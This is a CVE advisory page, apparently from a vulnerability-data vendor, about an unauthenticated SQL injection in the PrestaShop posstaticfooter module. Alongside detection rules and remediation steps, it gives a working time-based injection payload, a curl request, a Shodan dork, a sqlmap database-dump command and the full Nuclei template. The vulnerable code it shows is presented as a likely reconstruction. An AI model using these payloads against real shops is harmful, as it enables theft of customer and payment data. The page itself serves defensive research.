CVE-2023-30194
Executive Summary
CVE-2023-30194 is a critical unauthenticated SQL Injection vulnerability in the PrestaShop posstaticfooter module, affecting versions up to and including 1.0.0. The flaw resides in the posstaticfooter::getPosCurrentHook() function, allowing remote attackers to execute arbitrary SQL commands without authentication. With a CVSS score of 9.8, this vulnerability poses a severe risk to e-commerce platforms, potentially leading to full database compromise, including customer PII, order details, payment data, and administrative credentials. The exploit is publicly available via a Nuclei template, and the EPSS score of 0.75185 (98.9th percentile) indicates a high likelihood of active exploitation. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. Unauthenticated remote code execution via SQL injection, with public exploit code and high EPSS probability.
Deep Dive & Mechanics
The vulnerability exists in the posstaticfooter module's getPosCurrentHook() method. The module fails to sanitize user-supplied input passed via the module_id parameter in HTTP POST requests to /modules/posstaticfooter/ajax.php. This input is directly concatenated into SQL queries without parameterization or escaping, allowing an attacker to inject arbitrary SQL statements.
The exploit leverages a time-based blind SQL injection technique. The attacker sends a POST request with a crafted module_id parameter containing a SQL injection payload that uses SLEEP() to cause a time delay. The Nuclei template demonstrates this by injecting:
module_id=1%22;select(0x73656C65637420736C6565702836293B)INTO@a;prepare`b`from@a;execute`b`;--
This payload decodes to select sleep(6);, which is executed on the database server. The response time is measured to confirm successful injection.
The vulnerability is classified under CWE-89 (SQL Injection). The attack surface is exposed via the ajax.php endpoint, which is accessible without authentication.
Vulnerable vs. Patched Code
Vulnerable Code (posstaticfooter <= 1.0.0):
The getPosCurrentHook() function likely contains code similar to:
public function getPosCurrentHook($module_id) {
$sql = "SELECT * FROM "._DB_PREFIX_."posstaticfooter WHERE id_module = $module_id";
return Db::getInstance()->executeS($sql);
}
The $module_id variable is directly interpolated into the SQL query without sanitization.
Patched Code (Hypothetical): A secure version would use prepared statements or parameterized queries:
public function getPosCurrentHook($module_id) {
$sql = "SELECT * FROM "._DB_PREFIX_."posstaticfooter WHERE id_module = ?";
return Db::getInstance()->executeS($sql, array($module_id));
}
Alternatively, input validation and escaping should be applied:
$module_id = (int)$module_id; // Cast to integer
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target PrestaShop instance with
posstaticfootermodule <= 1.0.0 installed and active. - Network access to the
/modules/posstaticfooter/ajax.phpendpoint.
Exploit Steps:
- Reconnaissance: Verify the module presence by checking for the string
posstaticfooterin the HTML source or via Shodan dorkhtml:"posstaticfooter". - Craft Payload: Use the Nuclei template or manually craft a time-based blind SQLi payload.
- Execute: Send a POST request to the vulnerable endpoint.
Example using cURL:
curl -X POST "http://target.com/modules/posstaticfooter/ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "module_id=1%22;select(0x73656C65637420736C6565702836293B)INTO@a;prepare%60b%60from@a;execute%60b%60;--"
If the response takes >6 seconds, the injection is successful.
Data Extraction: Use SQLmap for automated extraction:
sqlmap -u "http://target.com/modules/posstaticfooter/ajax.php" \
--data="module_id=1" \
--technique=T \
--dbms=mysql \
--batch \
--dump
Blue Team (Detection & Response)
Detection:
- Monitor HTTP POST requests to
/modules/posstaticfooter/ajax.phpwith abnormalmodule_idparameters containing SQL keywords (e.g.,SELECT,SLEEP,INTO,@). - Look for response times exceeding normal thresholds (e.g., >5 seconds) from this endpoint.
- Deploy WAF rules to block SQL injection patterns.
Response:
- Immediately isolate affected servers.
- Review database logs for unauthorized queries.
- Rotate all credentials stored in the database.
- Disable or remove the vulnerable module until a patch is applied.
- Conduct forensic analysis to determine the scope of data exfiltration.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/modules/posstaticfooter/ajax.phpwithmodule_idcontaining encoded SQL payloads. - Unusually long HTTP response times (>5 seconds) from the same endpoint.
- Outbound database connections from the web server to external IPs (data exfiltration).
- POST requests to
File IOCs:
- Modified or suspicious entries in PrestaShop database tables (e.g.,
ps_posstaticfooter). - Presence of SQLmap or similar tools on the web server.
- Modified or suspicious entries in PrestaShop database tables (e.g.,
Log IOCs:
- Web server logs showing requests with
module_id=1%22;select(...)patterns. - Database logs showing
SLEEP()orBENCHMARK()function calls.
- Web server logs showing requests with
Detection Engineering
YARA Rule
rule CVE_2023_30194_SQLi_Payload {
meta:
description = "Detects SQL injection payloads targeting CVE-2023-30194 in PrestaShop posstaticfooter"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-30194"
severity = "critical"
strings:
$s1 = "module_id=" ascii wide nocase
$s2 = "select" ascii wide nocase
$s3 = "sleep" ascii wide nocase
$s4 = "INTO@" ascii wide nocase
$s5 = "prepare" ascii wide nocase
$s6 = "execute" ascii wide nocase
condition:
all of ($s1, $s2, $s3, $s4, $s5, $s6)
}
Sigma Rule
title: CVE-2023-30194 SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against PrestaShop posstaticfooter module
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-30194
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/modules/posstaticfooter/ajax.php'
cs-uri-query|contains: 'module_id='
cs-uri-query|contains|all:
- 'select'
- 'sleep'
- 'INTO@'
- 'prepare'
- 'execute'
condition: selection
falsepositives:
- Legitimate use of sleep function in rare cases (unlikely)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2023-30194 PrestaShop posstaticfooter SQL Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/modules/posstaticfooter/ajax.php"; http_uri;
content:"module_id="; http_client_body;
content:"select"; http_client_body; nocase;
content:"sleep"; http_client_body; nocase;
content:"INTO@"; http_client_body; nocase;
content:"prepare"; http_client_body; nocase;
content:"execute"; http_client_body; nocase;
classtype:attempted-admin;
sid:10000001;
rev:1;
priority:1;
)
Nuclei Template (Provided)
id: CVE-2023-30194
info:
name: Prestashop posstaticfooter <= 1.0.0 - SQL Injection
author: daffainfo
severity: critical
description: |
Prestashop posstaticfooter <= 1.0.0 is vulnerable to SQL Injection via posstaticfooter::getPosCurrentHook().
impact: |
Unauthenticated attackers can execute arbitrary SQL commands to extract database contents including customer data, orders, payment information, and administrative credentials from the PrestaShop database.
remediation: |
Upgrade to the latest version of the posstaticfooter module from posthemes.
reference:
- https://friends-of-presta.github.io/security-advisories/modules/2023/05/09/posstaticfooter.html
- https://themeforest.net/user/posthemes/portfolio
- https://nvd.nist.gov/vuln/detail/CVE-2023-30194
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-30194
epss-score: 0.75185
epss-percentile: 0.98892
cwe-id: CWE-89
cpe: cpe:2.3:a:prestashop:poststaticfooter:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: prestashop
product: poststaticfooter
shodan-query: html:"posstaticfooter"
tags: cve,cve2023,prestashop,poststaticfooter,sqli,vkev,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: word
part: body
words:
- 'prestashop'
internal: true
- raw:
- |
@timeout: 20s
POST /modules/posstaticfooter/ajax.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/x-www-form-urlencoded
module_id=1%22;select(0x73656C65637420736C6565702836293B)INTO@a;prepare`b`from@a;execute`b`;--
matchers:
- type: dsl
dsl:
- "duration>=6"
- contains(body, '\"[]\"')
- "status_code == 200"
condition: and
# digest: 490a00463044022048035d08c6b9991fb6511953cd1e19f435b0045a4acbbc62d84d4b70c8f1b2db022019bce7f18d3dd9c4e68ac439990f89165b0a93bd0d6ce858f0fd93be2ec7fa0a:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Disable the module: Remove or deactivate the
posstaticfootermodule from the PrestaShop admin panel. - Apply virtual patching: Use a WAF to block requests containing SQL injection patterns to
/modules/posstaticfooter/ajax.php. - Review database: Check for unauthorized access or data exfiltration. Rotate all database credentials and API keys.
Long-term Fix:
- Upgrade to a patched version of the module once released by the vendor (posthemes).
- If no patch is available, consider replacing the module with an alternative static footer solution.
- Implement secure coding practices: use parameterized queries, input validation, and least privilege database accounts.
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.
- Enable detailed logging for web and database servers.
Valters IT
{/* [Security Hash: 420DCFC067C4A96F99B6568B] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.